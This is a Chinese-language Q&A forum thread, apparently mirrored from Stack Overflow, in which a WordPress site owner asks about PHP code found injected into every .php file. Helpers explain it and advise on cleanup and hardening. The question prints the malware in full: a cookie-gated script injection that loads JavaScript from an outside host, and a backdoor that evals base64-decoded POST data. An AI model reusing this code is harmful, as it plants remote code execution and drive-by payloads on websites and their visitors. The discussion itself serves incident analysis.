2011-09-14 131 views
5

有人請告知這個PHP代碼會做什麼?我有PHP只在每個.php頁面上找到這個代碼,其他頁面像js/css/php.ini他們很好..是這個惡意代碼?如果是,請建議如何預防它們?這個php腳本會做什麼?是惡意的PHP代碼?

下面是代碼,

global $sessdt_o; 
if(!$sessdt_o) { 
    $sessdt_o = 1; 
    $sessdt_k = "lb11"; 
    if([email protected]$_COOKIE[$sessdt_k]) { 
     $sessdt_f = "102"; 
     if([email protected]_sent()) { 
      @setcookie($sessdt_k,$sessdt_f); 
     } else { 
      echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; 
     } 
    } else { 
     if($_COOKIE[$sessdt_k]=="102") { 
      $sessdt_f = (rand(1000,9000)+1); 
      if([email protected]_sent()) { 
       @setcookie($sessdt_k,$sessdt_f); 
      } else { 
       echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; 
      } 
      $sessdt_j = @$_SERVER["HTTP_HOST"][email protected]$_SERVER["REQUEST_URI"]; 
      $sessdt_v = urlencode(strrev($sessdt_j)); 
      $sessdt_u = "http://vekra.ee/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
      echo "<script src='$sessdt_u'></script>"; 
      echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
     } 
    } 
    $sessdt_p = "showimg"; 
    if(isset($_POST[$sessdt_p])){ 
     eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p]))); 
     exit; 
    } 
} 
+0

你是如何得到這段代碼的?你的PHP文件在你不知情的情況下被修改過 – Ali

+0

嗨阿里,我只是打開FileZila FTP,然後發現每個PHP頁面上次修改時間爲2011年9月14日上午4時01分14秒(印度時間),然後我打開文件,並找到此代碼。它真的很奇怪。 – DBTutor

+0

我的網站也得到了這個文件... – Pinch

回答

1

它更可能將你重定向每一頁到攻擊者的網站。 @將停止任何錯誤,因此您不會從此腳本獲取任何日誌。

如果您希望自己的網站正常工作,則應將其刪除。

編輯:它不重定向,但它會在您的網頁上注入任何想要的東西。 檢查cookie的腳本的第二部分將從他的網站添加一個JavaScript,並可以做惡意的事情。

最後一部分,我不認爲任何人都可以猜到它是什麼,因爲它依賴於一些變量後,這就是$_POST['showimg'],我猜他攻擊你的網站與POST。

要做的事:改變你的密碼,檢查你的文件的寫權限,他們不應該是0777,備份數據庫和WordPress模板,刪除WordPress安裝並重新安裝從頭開始。在你的模板中搜索他的代碼,然後添加你清理過的模板。

+0

感謝Mihai的回覆。我的網站是基於WordPress 3.2.1這是最新的WP版本。幾乎我網站上的每個php頁面都受到影響。即使wp-admin + wp-包含頁面。我真的很擔心,Kindly建議我現在要做的事情..再次感謝幫助 – DBTutor

+0

Mahai,我有php.ini訪問我的服務器,並使用php.ini禁用函數功能,使一些php庫函數變得混亂。是[eval |打開| fclose | fputs | base64_decode | is_writable | opendir]等。請建議它是好的。 – DBTutor

1

我還沒有仔細研究,但只行

eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p]))); 

顯示我已經一點的是,如果不是惡意的,那麼非常非常接近 - 有代碼注入可能。

0

你的問題不是代碼本身,它是如何到達那裏擺在首位。您需要檢查文件/文件夾的寫入權限,以確保外部沒有人可以修改它們。

你提到你正在使用wordpress,請閱讀this article關於加強WordPress的安全性。我建議你鎖定你的博客(如果可行),直到你解決了你的安全問題。

0

作爲一名安全分析師,我相信它會將您重定向到一個可能的惡意網站,當且僅當您沒有該cookie時。如果您已經擁有該cookie,那麼該腳本會知道您已經在那裏並可能研究惡意軟件,從而不執行重定向。該圖像可能像一個偵測調試器預設API ..這只是我的看法。